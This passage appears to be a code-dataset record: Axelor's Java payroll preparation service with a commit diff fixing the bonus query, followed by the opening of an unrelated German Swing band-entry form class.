for (PayrollLeave payrollLeave : payrollLeaveList) {
workingDays = workingDays.subtract(payrollLeave.getDuration());
leaveDays = leaveDays.add(payrollLeave.getDuration());
}
}
payrollPreparation.setLeaveDuration(leaveDays);
return workingDays;
}
public BigDecimal computeExtraHoursNumber(PayrollPreparation payrollPreparation){
LocalDate fromDate = payrollPreparation.getPeriod().getFromDate();
LocalDate toDate = payrollPreparation.getPeriod().getToDate();
BigDecimal extraHoursNumber = BigDecimal.ZERO;
for(ExtraHoursLine extraHoursLine : Beans.get(ExtraHoursLineRepository.class).all().filter("self.user.employee = ?1 AND self.extraHours.statusSelect = 3 AND self.date BETWEEN ?2 AND ?3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?4)", payrollPreparation.getEmployee(), fromDate, toDate, payrollPreparation.getId()).fetch()){
payrollPreparation.addExtraHoursLineListItem(extraHoursLine);
extraHoursNumber = extraHoursNumber.add( extraHoursLine.getQty() );
}
return extraHoursNumber;
}
public BigDecimal computeExpenseAmount(PayrollPreparation payrollPreparation){
BigDecimal expenseAmount = BigDecimal.ZERO;
List<Expense> expenseList = Beans.get(ExpenseRepository.class).all().filter("self.user.employee = ?1 AND self.statusSelect = 3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.companyCbSelect = 1 AND self.period = ?3", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod()).fetch();
for (Expense expense : expenseList) {
expenseAmount = expenseAmount.add(expense.getInTaxTotal());
payrollPreparation.addExpenseListItem(expense);
}
return expenseAmount;
}
public BigDecimal computeLunchVoucherNumber(PayrollPreparation payrollPreparation){
BigDecimal lunchVoucherNumber = BigDecimal.ZERO;
List<LunchVoucherMgtLine> lunchVoucherList = Beans.get(LunchVoucherMgtLineRepository.class).all().filter("self.employee = ?1 AND self.lunchVoucherMgt.statusSelect = 3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.lunchVoucherMgt.payPeriod = ?3", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod()).fetch();
for (LunchVoucherMgtLine lunchVoucherMgtLine : lunchVoucherList) {
lunchVoucherNumber = lunchVoucherNumber.add(new BigDecimal(lunchVoucherMgtLine.getLunchVoucherNumber()) );
payrollPreparation.addLunchVoucherMgtLineListItem(lunchVoucherMgtLine);
}
return lunchVoucherNumber;
}
public BigDecimal computeEmployeeBonusAmount(PayrollPreparation payrollPreparation){
BigDecimal employeeBonusAmount = BigDecimal.ZERO;
List<EmployeeBonusMgtLine> employeeBonusList = Beans.get(EmployeeBonusMgtLineRepository.class).all().filter("self.employee = ?1 AND self.employeeBonusMgt.statusSelect = ?3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.employeeBonusMgt.payPeriod = ?2", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod(), EmployeeBonusMgtRepository.STATUS_CALCULATED).fetch();
for (EmployeeBonusMgtLine employeeBonusMgtLine : employeeBonusList) {
payrollPreparation.addEmployeeBonusMgtLineListItem(employeeBonusMgtLine);
employeeBonusAmount = employeeBonusAmount.add( employeeBonusMgtLine.getAmount() );
}
return employeeBonusAmount;
}
@Transactional
public String exportSinglePayrollPreparation(PayrollPreparation payrollPreparation) throws IOException, AxelorException{
List<String[]> list = new ArrayList<String[]>();
String item[] = new String[5];
item[0] = payrollPreparation.getEmployee().getName();
item[1] = payrollPreparation.getDuration().toString();
item[2] = payrollPreparation.getLunchVoucherNumber().toString();
item[3] = payrollPreparation.getEmployeeBonusAmount().toString();
item[4] = payrollPreparation.getExtraHoursNumber().toString();
list.add(item);
String fileName = this.getPayrollPreparationExportName();
String filePath = AppSettings.get().get("file.upload.dir");
new File(filePath).mkdirs();
CsvTool.csvWriter(filePath, fileName, ';', getPayrollPreparationExportHeader(), list);
payrollPreparation.setExported(true);
payrollPreparation.setExportDate(generalService.getTodayDate());
payrollPreparationRepo.save(payrollPreparation);
Path path = Paths.get(filePath + System.getProperty("file.separator") +fileName);
try (InputStream is = new FileInputStream(path.toFile())) {
Beans.get(MetaFiles.class).attach(is, fileName, payrollPreparation);
}
return filePath + System.getProperty("file.separator") +fileName;
}
public String[] createExportFileLine(PayrollPreparation payrollPreparation){
String item[] = new String[7];
item[0] = payrollPreparation.getEmployee().getExportCode();
item[1] = payrollPreparation.getEmployee().getContactPartner().getName();
item[2] = payrollPreparation.getEmployee().getContactPartner().getFirstName();
return item;
}
public String exportMeilleureGestionPayrollPreparation(PayrollPreparation payrollPreparation) throws AxelorException, IOException{
List<String[]> list = new ArrayList<String[]>();
exportMeilleureGestion(payrollPreparation, list);
String fileName = this.getPayrollPreparationExportName();
String filePath = AppSettings.get().get("file.upload.dir");
new File(filePath).mkdirs();
CsvTool.csvWriter(filePath, fileName, ';', getPayrollPreparationMeilleurGestionExportHeader(), list);
Path path = Paths.get(filePath + System.getProperty("file.separator") +fileName);
try (InputStream is = new FileInputStream(path.toFile())) {
Beans.get(MetaFiles.class).attach(is, fileName, payrollPreparation);
}
return filePath + System.getProperty("file.separator") +fileName;
}
@Transactional
public void exportMeilleureGestion(PayrollPreparation payrollPreparation, List<String[]> list ) throws AxelorException{
HRConfig hrConfig = hrConfigService.getHRConfig(payrollPreparation.getCompany());
// LEAVES
if (payrollPreparation.getLeaveDuration().compareTo( BigDecimal.ZERO ) > 0 ) {
List<PayrollLeave> payrollLeaveList = fillInLeaves(payrollPreparation);
for (PayrollLeave payrollLeave : payrollLeaveList) {
if (payrollLeave.getLeaveReason().getPayrollPreprationExport()){
String leaveLine[] = createExportFileLine(payrollPreparation);
leaveLine[3] = payrollLeave.getLeaveReason().getExportCode();
leaveLine[4] = payrollLeave.getFromDate().toString("dd/MM/YYYY");
leaveLine[5] = payrollLeave.getToDate().toString("dd/MM/YYYY");
leaveLine[6] = payrollLeave.getDuration().toString();
list.add(leaveLine);
}
}
}
// LUNCH VOUCHER MANAGEMENT
if (payrollPreparation.getLunchVoucherNumber().compareTo(BigDecimal.ZERO) > 0){
String lunchVoucherLine[] = createExportFileLine(payrollPreparation);
lunchVoucherLine[3] = hrConfig.getExportCodeForLunchVoucherManagement();
lunchVoucherLine[6] = payrollPreparation.getLunchVoucherNumber().toString();
list.add(lunchVoucherLine);
}
// EMPLOYEE BONUS MANAGEMENT
if (payrollPreparation.getEmployeeBonusAmount().compareTo(BigDecimal.ZERO) > 0){
Map<String, BigDecimal> map = new HashMap<String, BigDecimal>();
for (EmployeeBonusMgtLine bonus : payrollPreparation.getEmployeeBonusMgtLineList() ) {
if (bonus.getEmployeeBonusMgt().getEmployeeBonusType().getPayrollPreparationExport()){
if ( map.containsKey(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode()) ){
map.put(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode(), bonus.getAmount().add(map.get(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode())) );
}else{
map.put(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode(), bonus.getAmount());
}
}
}
for ( Map.Entry<String, BigDecimal> entry : map.entrySet() ) {
String employeeBonusLine[] = createExportFileLine(payrollPreparation);
employeeBonusLine[3] = entry.getKey();
employeeBonusLine[6] = entry.getValue().toString();
list.add(employeeBonusLine);
}
}
//EXTRA HOURS
if ( payrollPreparation.getExtraHoursNumber().compareTo( BigDecimal.ZERO ) > 0 ){
String extraHourLine[] = createExportFileLine(payrollPreparation);
extraHourLine[3] = hrConfig.getExportCodeForLunchVoucherManagement();
extraHourLine[6] = payrollPreparation.getExtraHoursNumber().toString();
list.add(extraHourLine);
}
payrollPreparation.setExported(true);
payrollPreparation.setExportDate(generalService.getTodayDate());
payrollPreparation.setExportTypeSelect(HrBatchRepository.EXPORT_TYPE_MEILLEURE_GESTION);
payrollPreparationRepo.save(payrollPreparation);
}
public String getPayrollPreparationExportName(){
return I18n.get("Payroll preparation") + " - " + generalService.getTodayDateTime().toString() + ".csv";
}
public String[] getPayrollPreparationExportHeader(){
String headers[] = new String[5];
headers[0] = I18n.get("Employee");
headers[1] = I18n.get("Working days' number");
headers[2] = I18n.get("Lunch vouchers' number");
headers[3] = I18n.get("Employee bonus amount");
headers[4] = I18n.get("Extra hours' number");
return headers;
}
public String[] getPayrollPreparationMeilleurGestionExportHeader(){
String headers[] = new String[7];
headers[0] = I18n.get("Registration number");
headers[1] = I18n.get("Employee lastname");
headers[2] = I18n.get("Employee firstname");
headers[3] = I18n.get("Code");
headers[4] = I18n.get("Start date");
headers[5] = I18n.get("End date");
headers[6] = I18n.get("Value");
return headers;
}
}
| axelor-human-resource/src/main/java/com/axelor/apps/hr/service/PayrollPreparationService.java | /**
* Axelor Business Solutions
*
* Copyright (C) 2017 Axelor (<http://axelor.com>).
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.axelor.apps.hr.service;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.math.BigDecimal;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.joda.time.LocalDate;
import com.axelor.app.AppSettings;
import com.axelor.apps.base.service.administration.GeneralService;
import com.axelor.apps.base.service.weeklyplanning.WeeklyPlanningService;
import com.axelor.apps.hr.db.Employee;
import com.axelor.apps.hr.db.EmployeeBonusMgtLine;
import com.axelor.apps.hr.db.EmploymentContract;
import com.axelor.apps.hr.db.Expense;
import com.axelor.apps.hr.db.ExtraHoursLine;
import com.axelor.apps.hr.db.HRConfig;
import com.axelor.apps.hr.db.LeaveRequest;
import com.axelor.apps.hr.db.LunchVoucherMgtLine;
import com.axelor.apps.hr.db.PayrollLeave;
import com.axelor.apps.hr.db.PayrollPreparation;
import com.axelor.apps.hr.db.repo.EmployeeBonusMgtLineRepository;
import com.axelor.apps.hr.db.repo.ExpenseRepository;
import com.axelor.apps.hr.db.repo.ExtraHoursLineRepository;
import com.axelor.apps.hr.db.repo.HrBatchRepository;
import com.axelor.apps.hr.db.repo.LeaveRequestRepository;
import com.axelor.apps.hr.db.repo.LunchVoucherMgtLineRepository;
import com.axelor.apps.hr.db.repo.PayrollPreparationRepository;
import com.axelor.apps.hr.exception.IExceptionMessage;
import com.axelor.apps.hr.service.config.HRConfigService;
import com.axelor.apps.hr.service.leave.LeaveService;
import com.axelor.apps.tool.file.CsvTool;
import com.axelor.exception.AxelorException;
import com.axelor.exception.db.IException;
import com.axelor.i18n.I18n;
import com.axelor.inject.Beans;
import com.axelor.meta.MetaFiles;
import com.axelor.meta.db.MetaFile;
import com.axelor.meta.db.repo.MetaFileRepository;
import com.google.inject.Inject;
import com.google.inject.persist.Transactional;
public class PayrollPreparationService {
protected LeaveService leaveService;
protected LeaveRequestRepository leaveRequestRepo;
protected WeeklyPlanningService weeklyPlanningService;
@Inject
protected PayrollPreparationRepository payrollPreparationRepo;
@Inject
HRConfigService hrConfigService;
@Inject
GeneralService generalService;
@Inject
public PayrollPreparationService(LeaveService leaveService, LeaveRequestRepository leaveRequestRepo, WeeklyPlanningService weeklyPlanningService){
this.leaveService = leaveService;
this.leaveRequestRepo = leaveRequestRepo;
this.weeklyPlanningService = weeklyPlanningService;
}
public PayrollPreparation generateFromEmploymentContract(PayrollPreparation payrollPreparation, EmploymentContract employmentContract){
if(payrollPreparation.getEmployee() == null){
payrollPreparation.setEmployee(employmentContract.getEmployee());
}
if(payrollPreparation.getCompany() == null){
payrollPreparation.setCompany(employmentContract.getPayCompany());
}
if(payrollPreparation.getEmploymentContract() == null){
payrollPreparation.setEmploymentContract(employmentContract);
}
payrollPreparation.setOtherCostsEmployeeSet(employmentContract.getOtherCostsEmployeeSet());
payrollPreparation.setAnnualGrossSalary(employmentContract.getAnnualGrossSalary());
return payrollPreparation;
}
public List<PayrollLeave> fillInPayrollPreparation(PayrollPreparation payrollPreparation) throws AxelorException{
List<PayrollLeave> payrollLeaveList = fillInLeaves(payrollPreparation);
payrollPreparation.setDuration(this.computeWorkingDaysNumber(payrollPreparation,payrollLeaveList));
payrollPreparation.setExpenseAmount(this.computeExpenseAmount(payrollPreparation));
payrollPreparation.setLunchVoucherNumber(this.computeLunchVoucherNumber(payrollPreparation));
payrollPreparation.setEmployeeBonusAmount( computeEmployeeBonusAmount(payrollPreparation) );
payrollPreparation.setExtraHoursNumber( computeExtraHoursNumber(payrollPreparation) );
return payrollLeaveList;
}
public List<PayrollLeave> fillInLeaves(PayrollPreparation payrollPreparation) throws AxelorException{
List<PayrollLeave> payrollLeaveList = new ArrayList<PayrollLeave>();
LocalDate fromDate = payrollPreparation.getPeriod().getFromDate();
LocalDate toDate = payrollPreparation.getPeriod().getToDate();
Employee employee = payrollPreparation.getEmployee();
if(employee.getPublicHolidayPlanning() == null){
throw new AxelorException(String.format(I18n.get(IExceptionMessage.EMPLOYEE_PUBLIC_HOLIDAY),employee.getName()), IException.CONFIGURATION_ERROR);
}
if(employee.getPlanning()== null){
throw new AxelorException(String.format(I18n.get(IExceptionMessage.EMPLOYEE_PLANNING),employee.getName()), IException.CONFIGURATION_ERROR);
}
List<LeaveRequest> leaveRequestList = leaveRequestRepo.all().filter("self.statusSelect = ?4 AND self.user.employee = ?3 AND self.fromDate <= ?1 AND self.toDate >= ?2",toDate, fromDate,employee, LeaveRequestRepository.STATUS_VALIDATED).fetch();
for (LeaveRequest leaveRequest : leaveRequestList) {
PayrollLeave payrollLeave = new PayrollLeave();
if(leaveRequest.getFromDate().isBefore(fromDate)) {
payrollLeave.setFromDate(fromDate);
}else{
payrollLeave.setFromDate(leaveRequest.getFromDate());
}
if(leaveRequest.getToDate().isAfter(toDate)){
payrollLeave.setToDate(toDate);
}else{
payrollLeave.setToDate(leaveRequest.getToDate());
}
payrollLeave.setDuration(leaveService.computeLeaveDaysByLeaveRequest(fromDate, toDate, leaveRequest, employee));
payrollLeave.setLeaveReason(leaveRequest.getLeaveLine().getLeaveReason());
payrollLeave.setLeaveRequest(leaveRequest);
payrollLeaveList.add(payrollLeave);
}
return payrollLeaveList;
}
public BigDecimal computeWorkingDaysNumber(PayrollPreparation payrollPreparation, List<PayrollLeave> payrollLeaveList){
LocalDate fromDate = payrollPreparation.getPeriod().getFromDate();
LocalDate toDate = payrollPreparation.getPeriod().getToDate();
LocalDate itDate = new LocalDate(fromDate);
BigDecimal workingDays = BigDecimal.ZERO;
BigDecimal leaveDays = BigDecimal.ZERO;
while(!itDate.isAfter(toDate)){
workingDays = workingDays.add(new BigDecimal(weeklyPlanningService.workingDayValue(payrollPreparation.getEmployee().getPlanning(), itDate)));
itDate = itDate.plusDays(1);
}
if(payrollLeaveList != null){
for (PayrollLeave payrollLeave : payrollLeaveList) {
workingDays = workingDays.subtract(payrollLeave.getDuration());
leaveDays = leaveDays.add(payrollLeave.getDuration());
}
}
payrollPreparation.setLeaveDuration(leaveDays);
return workingDays;
}
public BigDecimal computeExtraHoursNumber(PayrollPreparation payrollPreparation){
LocalDate fromDate = payrollPreparation.getPeriod().getFromDate();
LocalDate toDate = payrollPreparation.getPeriod().getToDate();
BigDecimal extraHoursNumber = BigDecimal.ZERO;
for(ExtraHoursLine extraHoursLine : Beans.get(ExtraHoursLineRepository.class).all().filter("self.user.employee = ?1 AND self.extraHours.statusSelect = 3 AND self.date BETWEEN ?2 AND ?3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?4)", payrollPreparation.getEmployee(), fromDate, toDate, payrollPreparation.getId()).fetch()){
payrollPreparation.addExtraHoursLineListItem(extraHoursLine);
extraHoursNumber = extraHoursNumber.add( extraHoursLine.getQty() );
}
return extraHoursNumber;
}
public BigDecimal computeExpenseAmount(PayrollPreparation payrollPreparation){
BigDecimal expenseAmount = BigDecimal.ZERO;
List<Expense> expenseList = Beans.get(ExpenseRepository.class).all().filter("self.user.employee = ?1 AND self.statusSelect = 3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.companyCbSelect = 1 AND self.period = ?3", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod()).fetch();
for (Expense expense : expenseList) {
expenseAmount = expenseAmount.add(expense.getInTaxTotal());
payrollPreparation.addExpenseListItem(expense);
}
return expenseAmount;
}
public BigDecimal computeLunchVoucherNumber(PayrollPreparation payrollPreparation){
BigDecimal lunchVoucherNumber = BigDecimal.ZERO;
List<LunchVoucherMgtLine> lunchVoucherList = Beans.get(LunchVoucherMgtLineRepository.class).all().filter("self.employee = ?1 AND self.lunchVoucherMgt.statusSelect = 3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.lunchVoucherMgt.payPeriod = ?3", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod()).fetch();
for (LunchVoucherMgtLine lunchVoucherMgtLine : lunchVoucherList) {
lunchVoucherNumber = lunchVoucherNumber.add(new BigDecimal(lunchVoucherMgtLine.getLunchVoucherNumber()) );
payrollPreparation.addLunchVoucherMgtLineListItem(lunchVoucherMgtLine);
}
return lunchVoucherNumber;
}
public BigDecimal computeEmployeeBonusAmount(PayrollPreparation payrollPreparation){
BigDecimal employeeBonusAmount = BigDecimal.ZERO;
List<EmployeeBonusMgtLine> employeeBonusList = Beans.get(EmployeeBonusMgtLineRepository.class).all().filter("self.employee = ?1 AND self.employeeBonusMgt.statusSelect = 2 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.employeeBonusMgt.payPeriod = ?2", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod()).fetch();
for (EmployeeBonusMgtLine employeeBonusMgtLine : employeeBonusList) {
payrollPreparation.addEmployeeBonusMgtLineListItem(employeeBonusMgtLine);
employeeBonusAmount = employeeBonusAmount.add( employeeBonusMgtLine.getAmount() );
}
return employeeBonusAmount;
}
@Transactional
public String exportSinglePayrollPreparation(PayrollPreparation payrollPreparation) throws IOException, AxelorException{
List<String[]> list = new ArrayList<String[]>();
String item[] = new String[5];
item[0] = payrollPreparation.getEmployee().getName();
item[1] = payrollPreparation.getDuration().toString();
item[2] = payrollPreparation.getLunchVoucherNumber().toString();
item[3] = payrollPreparation.getEmployeeBonusAmount().toString();
item[4] = payrollPreparation.getExtraHoursNumber().toString();
list.add(item);
String fileName = this.getPayrollPreparationExportName();
String filePath = AppSettings.get().get("file.upload.dir");
new File(filePath).mkdirs();
CsvTool.csvWriter(filePath, fileName, ';', getPayrollPreparationExportHeader(), list);
payrollPreparation.setExported(true);
payrollPreparation.setExportDate(generalService.getTodayDate());
payrollPreparationRepo.save(payrollPreparation);
Path path = Paths.get(filePath + System.getProperty("file.separator") +fileName);
try (InputStream is = new FileInputStream(path.toFile())) {
Beans.get(MetaFiles.class).attach(is, fileName, payrollPreparation);
}
return filePath + System.getProperty("file.separator") +fileName;
}
public String[] createExportFileLine(PayrollPreparation payrollPreparation){
String item[] = new String[7];
item[0] = payrollPreparation.getEmployee().getExportCode();
item[1] = payrollPreparation.getEmployee().getContactPartner().getName();
item[2] = payrollPreparation.getEmployee().getContactPartner().getFirstName();
return item;
}
public String exportMeilleureGestionPayrollPreparation(PayrollPreparation payrollPreparation) throws AxelorException, IOException{
List<String[]> list = new ArrayList<String[]>();
exportMeilleureGestion(payrollPreparation, list);
String fileName = this.getPayrollPreparationExportName();
String filePath = AppSettings.get().get("file.upload.dir");
new File(filePath).mkdirs();
CsvTool.csvWriter(filePath, fileName, ';', getPayrollPreparationMeilleurGestionExportHeader(), list);
Path path = Paths.get(filePath + System.getProperty("file.separator") +fileName);
try (InputStream is = new FileInputStream(path.toFile())) {
Beans.get(MetaFiles.class).attach(is, fileName, payrollPreparation);
}
return filePath + System.getProperty("file.separator") +fileName;
}
@Transactional
public void exportMeilleureGestion(PayrollPreparation payrollPreparation, List<String[]> list ) throws AxelorException{
HRConfig hrConfig = hrConfigService.getHRConfig(payrollPreparation.getCompany());
// LEAVES
if (payrollPreparation.getLeaveDuration().compareTo( BigDecimal.ZERO ) > 0 ) {
List<PayrollLeave> payrollLeaveList = fillInLeaves(payrollPreparation);
for (PayrollLeave payrollLeave : payrollLeaveList) {
if (payrollLeave.getLeaveReason().getPayrollPreprationExport()){
String leaveLine[] = createExportFileLine(payrollPreparation);
leaveLine[3] = payrollLeave.getLeaveReason().getExportCode();
leaveLine[4] = payrollLeave.getFromDate().toString("dd/MM/YYYY");
leaveLine[5] = payrollLeave.getToDate().toString("dd/MM/YYYY");
leaveLine[6] = payrollLeave.getDuration().toString();
list.add(leaveLine);
}
}
}
// LUNCH VOUCHER MANAGEMENT
if (payrollPreparation.getLunchVoucherNumber().compareTo(BigDecimal.ZERO) > 0){
String lunchVoucherLine[] = createExportFileLine(payrollPreparation);
lunchVoucherLine[3] = hrConfig.getExportCodeForLunchVoucherManagement();
lunchVoucherLine[6] = payrollPreparation.getLunchVoucherNumber().toString();
list.add(lunchVoucherLine);
}
// EMPLOYEE BONUS MANAGEMENT
if (payrollPreparation.getEmployeeBonusAmount().compareTo(BigDecimal.ZERO) > 0){
Map<String, BigDecimal> map = new HashMap<String, BigDecimal>();
for (EmployeeBonusMgtLine bonus : payrollPreparation.getEmployeeBonusMgtLineList() ) {
if (bonus.getEmployeeBonusMgt().getEmployeeBonusType().getPayrollPreparationExport()){
if ( map.containsKey(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode()) ){
map.put(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode(), bonus.getAmount().add(map.get(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode())) );
}else{
map.put(bonus.getEmployeeBonusMgt().getEmployeeBonusType().getExportCode(), bonus.getAmount());
}
}
}
for ( Map.Entry<String, BigDecimal> entry : map.entrySet() ) {
String employeeBonusLine[] = createExportFileLine(payrollPreparation);
employeeBonusLine[3] = entry.getKey();
employeeBonusLine[6] = entry.getValue().toString();
list.add(employeeBonusLine);
}
}
//EXTRA HOURS
if ( payrollPreparation.getExtraHoursNumber().compareTo( BigDecimal.ZERO ) > 0 ){
String extraHourLine[] = createExportFileLine(payrollPreparation);
extraHourLine[3] = hrConfig.getExportCodeForLunchVoucherManagement();
extraHourLine[6] = payrollPreparation.getExtraHoursNumber().toString();
list.add(extraHourLine);
}
payrollPreparation.setExported(true);
payrollPreparation.setExportDate(generalService.getTodayDate());
payrollPreparation.setExportTypeSelect(HrBatchRepository.EXPORT_TYPE_MEILLEURE_GESTION);
payrollPreparationRepo.save(payrollPreparation);
}
public String getPayrollPreparationExportName(){
return I18n.get("Payroll preparation") + " - " + generalService.getTodayDateTime().toString() + ".csv";
}
public String[] getPayrollPreparationExportHeader(){
String headers[] = new String[5];
headers[0] = I18n.get("Employee");
headers[1] = I18n.get("Working days' number");
headers[2] = I18n.get("Lunch vouchers' number");
headers[3] = I18n.get("Employee bonus amount");
headers[4] = I18n.get("Extra hours' number");
return headers;
}
public String[] getPayrollPreparationMeilleurGestionExportHeader(){
String headers[] = new String[7];
headers[0] = I18n.get("Registration number");
headers[1] = I18n.get("Employee lastname");
headers[2] = I18n.get("Employee firstname");
headers[3] = I18n.get("Code");
headers[4] = I18n.get("Start date");
headers[5] = I18n.get("End date");
headers[6] = I18n.get("Value");
return headers;
}
}
| RM7503: fix getting bonuses in payroll preparation
| axelor-human-resource/src/main/java/com/axelor/apps/hr/service/PayrollPreparationService.java | RM7503: fix getting bonuses in payroll preparation | <ide><path>xelor-human-resource/src/main/java/com/axelor/apps/hr/service/PayrollPreparationService.java
<ide> */
<ide> package com.axelor.apps.hr.service;
<ide>
<add>import com.axelor.app.AppSettings;
<add>import com.axelor.apps.base.service.administration.GeneralService;
<add>import com.axelor.apps.base.service.weeklyplanning.WeeklyPlanningService;
<add>import com.axelor.apps.hr.db.*;
<add>import com.axelor.apps.hr.db.repo.*;
<add>import com.axelor.apps.hr.exception.IExceptionMessage;
<add>import com.axelor.apps.hr.service.config.HRConfigService;
<add>import com.axelor.apps.hr.service.leave.LeaveService;
<add>import com.axelor.apps.tool.file.CsvTool;
<add>import com.axelor.exception.AxelorException;
<add>import com.axelor.exception.db.IException;
<add>import com.axelor.i18n.I18n;
<add>import com.axelor.inject.Beans;
<add>import com.axelor.meta.MetaFiles;
<add>import com.google.inject.Inject;
<add>import com.google.inject.persist.Transactional;
<add>import org.joda.time.LocalDate;
<add>
<ide> import java.io.File;
<ide> import java.io.FileInputStream;
<ide> import java.io.IOException;
<ide> import java.util.List;
<ide> import java.util.Map;
<ide>
<del>import org.joda.time.LocalDate;
<del>
<del>import com.axelor.app.AppSettings;
<del>import com.axelor.apps.base.service.administration.GeneralService;
<del>import com.axelor.apps.base.service.weeklyplanning.WeeklyPlanningService;
<del>import com.axelor.apps.hr.db.Employee;
<del>import com.axelor.apps.hr.db.EmployeeBonusMgtLine;
<del>import com.axelor.apps.hr.db.EmploymentContract;
<del>import com.axelor.apps.hr.db.Expense;
<del>import com.axelor.apps.hr.db.ExtraHoursLine;
<del>import com.axelor.apps.hr.db.HRConfig;
<del>import com.axelor.apps.hr.db.LeaveRequest;
<del>import com.axelor.apps.hr.db.LunchVoucherMgtLine;
<del>import com.axelor.apps.hr.db.PayrollLeave;
<del>import com.axelor.apps.hr.db.PayrollPreparation;
<del>import com.axelor.apps.hr.db.repo.EmployeeBonusMgtLineRepository;
<del>import com.axelor.apps.hr.db.repo.ExpenseRepository;
<del>import com.axelor.apps.hr.db.repo.ExtraHoursLineRepository;
<del>import com.axelor.apps.hr.db.repo.HrBatchRepository;
<del>import com.axelor.apps.hr.db.repo.LeaveRequestRepository;
<del>import com.axelor.apps.hr.db.repo.LunchVoucherMgtLineRepository;
<del>import com.axelor.apps.hr.db.repo.PayrollPreparationRepository;
<del>import com.axelor.apps.hr.exception.IExceptionMessage;
<del>import com.axelor.apps.hr.service.config.HRConfigService;
<del>import com.axelor.apps.hr.service.leave.LeaveService;
<del>import com.axelor.apps.tool.file.CsvTool;
<del>import com.axelor.exception.AxelorException;
<del>import com.axelor.exception.db.IException;
<del>import com.axelor.i18n.I18n;
<del>import com.axelor.inject.Beans;
<del>import com.axelor.meta.MetaFiles;
<del>import com.axelor.meta.db.MetaFile;
<del>import com.axelor.meta.db.repo.MetaFileRepository;
<del>import com.google.inject.Inject;
<del>import com.google.inject.persist.Transactional;
<del>
<ide> public class PayrollPreparationService {
<ide>
<ide> protected LeaveService leaveService;
<ide>
<ide> public BigDecimal computeEmployeeBonusAmount(PayrollPreparation payrollPreparation){
<ide> BigDecimal employeeBonusAmount = BigDecimal.ZERO;
<del> List<EmployeeBonusMgtLine> employeeBonusList = Beans.get(EmployeeBonusMgtLineRepository.class).all().filter("self.employee = ?1 AND self.employeeBonusMgt.statusSelect = 2 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.employeeBonusMgt.payPeriod = ?2", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod()).fetch();
<add> List<EmployeeBonusMgtLine> employeeBonusList = Beans.get(EmployeeBonusMgtLineRepository.class).all().filter("self.employee = ?1 AND self.employeeBonusMgt.statusSelect = ?3 AND (self.payrollPreparation = null OR self.payrollPreparation.id = ?2) AND self.employeeBonusMgt.payPeriod = ?2", payrollPreparation.getEmployee(), payrollPreparation.getId(), payrollPreparation.getPeriod(), EmployeeBonusMgtRepository.STATUS_CALCULATED).fetch();
<ide> for (EmployeeBonusMgtLine employeeBonusMgtLine : employeeBonusList) {
<ide> payrollPreparation.addEmployeeBonusMgtLineListItem(employeeBonusMgtLine);
<ide> employeeBonusAmount = employeeBonusAmount.add( employeeBonusMgtLine.getAmount() ); |
|
Java | epl-1.0 | f43de281da607a4e666588b7042b7f53d307d6ec | 0 | k0dman/MusikerVerwaltung | package testklassen;
import java.awt.*;
import javax.swing.*;
public class EingabeformularBand03 extends JPanel {
// Felder:
// Panel
private JPanel jpmaindesc, jpmaininput;
// Schrift:
private Font ftfield;
// Label
private JLabel ueschrift, name, mitglied, ehemalig, stueckgruppe, referenz, fueller;
// JTextField
private JTextField jtfname, jtfmitglied, jtfehemalig, jtfstueckgruppe, jtfreferenz;
public JPanel jpmaindesc() {
// Panel erzeugen mit GridLayout
JPanel jpmaindesc = new JPanel(new GridLayout(13, 1, 10, 10));
// Schriften erzeugen
ftfield = new Font(Font.SANS_SERIF, Font.BOLD + Font.ITALIC, 15);
// Label erzeugen
ueschrift = new JLabel("Tragen Sie eine Band ein:");
name = new JLabel("Name");
mitglied = new JLabel("Mitglied");
ehemalig = new JLabel("Ehemalig");
stueckgruppe = new JLabel("St\u00FCck");
referenz = new JLabel("Referenz");
// Label dem Panel hinzuf\u00FCgen
jpmaindesc.add(ueschrift);
jpmaindesc.add(name);
jpmaindesc.add(mitglied);
jpmaindesc.add(ehemalig);
jpmaindesc.add(stueckgruppe);
jpmaindesc.add(referenz);
// Label rechts anordnen
ueschrift.setHorizontalAlignment(SwingConstants.RIGHT);
name.setHorizontalAlignment(SwingConstants.RIGHT);
mitglied.setHorizontalAlignment(SwingConstants.RIGHT);
ehemalig.setHorizontalAlignment(SwingConstants.RIGHT);
stueckgruppe.setHorizontalAlignment(SwingConstants.RIGHT);
referenz.setHorizontalAlignment(SwingConstants.RIGHT);
// Schrift dem gew\u00FCnschten Label hinzuf\u00FCgen
ueschrift.setFont(ftfield);
return jpmaindesc;
}
public JPanel jpmaininput() {
